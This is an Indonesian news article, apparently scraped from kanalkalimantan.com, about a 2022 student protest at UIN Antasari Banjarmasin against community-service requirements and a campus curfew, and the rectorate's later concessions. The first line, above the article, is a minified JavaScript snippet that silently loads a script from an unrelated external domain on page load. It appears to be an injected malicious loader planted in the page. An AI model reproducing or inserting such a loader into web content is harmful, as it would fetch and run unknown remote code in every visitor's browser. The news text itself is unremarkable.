(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Protes Syarat KKN dan Jam Malam Kampus, DEMA UIN Antasari Gelar Demo di Rektorat


KANALKALIMANTAN.COM, BANJARMASIN – Puluhan mahasiswa yang tergabung Dewan Mahasiswa Eksekutif (DEMA) UIN Antasari Banjarmasin melakukan aksi di depan Rektorat UIN Antasari Banjarmasin Jalan A. Yani Km 4,5 pada Selasa (2/8/2022).

Aksi DEMA UIN Antasari dipicu beratnya persyaratan yang ditetapkan kampus kepada mahasiswa untuk menempuh Kuliah Kerja Nyata (KKN) yang merupakan salah satu kewajiban mahasiswa.

Salah satu dari beberapa syarat KKN yang menurut mahasiswa memberatkan mereka yaitu sudah harus melaksanakan seminar proposal skripsi berdasarkan SK Rektor No.390 Tahun 2022 tentang Pedoman Akademik UIN Antasari Banjarmasin.

Sementara itu point tuntutan lainnya yaitu mengenai kebebasan mahasiswa yang selama ini dibatasi oleh pihak kampus. Di antaranya masih diberlakukan jam malam di lingkungan kampus sehingga mahasiswa tidak dapat bebas melakukan kegiatan kampus pada malam hari.

 

Baca juga  : BPK Ankesa HSU Terima Hadiah Lomba Ketangkasan BPK Se Kalsel

Ketua Umum DEMA UIN Antasari Yogi Ilmawan mengatakan bahwa masukan-masukan yang mereka berikan tidak pernah digubris oleh pihak rektorat/kampus.

“Kami sudah sering melakukan audiensi untuk mengutarakan keresahan mahasiswa, tapi tidak pernah diakomodir,” katanya.

Sempat terjadi bersitegang antara masa aksi dengan pihak perwakilan rektorat ketika masa DEMA menginginkan Rektor UIN Antasari menemui mereka langsung agar mendengarkan tuntutan mereka.

Sementara itu Wakil Rektor  Kemahasiswaan yang menemui masa mengatakan bahwa pihak rektorat bersedia melakukan dialog bersama perwakilan mahasiswa untuk mencari solusi.

 

Baca juga  : Bupati Saidi Mansyur Melantik Dua Pejabat Baru di Disdukcapil Banjar

“Kalau ingin bertemu dengan Pak Rektor, beliau telah mempersiapkan diri bertemu dengan perwakilan kalian,” katanya.

Aksi berakhir dengan difasilitasinya perwakilan Dema untuk bertemu dengan rektor dan melakukan dialog di Auditorium Kampus UIN Antasari Banjarmasin.

Dari hasil dialog, pihak rektorat akan memberikan keringan terkait persyaratan KKN dari yang awalnya harus melampirkan surat telah seminar skripsi menjadi hanya melampirkan surat telah memasukan Proposal Skripsi ke biro skripsi dan pemberlakuan SK rektor No.390 Tahun 2022 tentang Pedoman Akademik UIN Antasari Banjarmasin ditunda untuk sementara selama sosialisasi berlangsung.(kanalkalimantan.com/rizki)

Reporter : rizki
Editor : cell


Desy Arfianty

Recent Posts

Kunker DPRD Kapuas Perkaya Referensi Raperda Bangunan Gedung

KANALKALIMANTAN.COM, KUALA KAPUAS – Panitia Khusus (Pansus) I Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas… Read More

3 jam ago

Haul Dua Wali Allah di Cempaka yang Sangat Dermawan dan Hidup Sederhana

KANALKALIMANTAN.COM, BANJARBARU - Haul Syarifah Badrun Al Qadiri Al Hasani bin Sayyid Yusuf Al-Qadiri Al-Hasani… Read More

5 jam ago

Peringati Hari Buruh, PLN Tebar Kebaikan untuk Petugas Kebersihan Kebun Raya Banua

KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

7 jam ago

Jhonny Iskandar Meninggal Dunia, Ini Profil Pelantun “Bukan Pengemis Cinta”

KANALKALIMANTAN.COM - Penyanyi senior Jhonny Iskandar meninggal dunia hari ini, Jumat (10/5/2024). Eks personel Orkes… Read More

9 jam ago

TMMD di Desa Sungai Karias Bangun Ulang Rumah Tak Layak Huni

KANALKALIMANTAN.COM, AMUNTAI – Membangun ulang Rumah Tidak Layak Huni (RTLH) menjadi layak huni menjadi salah… Read More

9 jam ago

Lepas Atlet ke Popda Kalsel, Ini Kata Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Target juara umum kontingen Kota Banjarbaru dalam ajang Pekan Olahraga Pelajar Daerah… Read More

9 jam ago

This website uses cookies.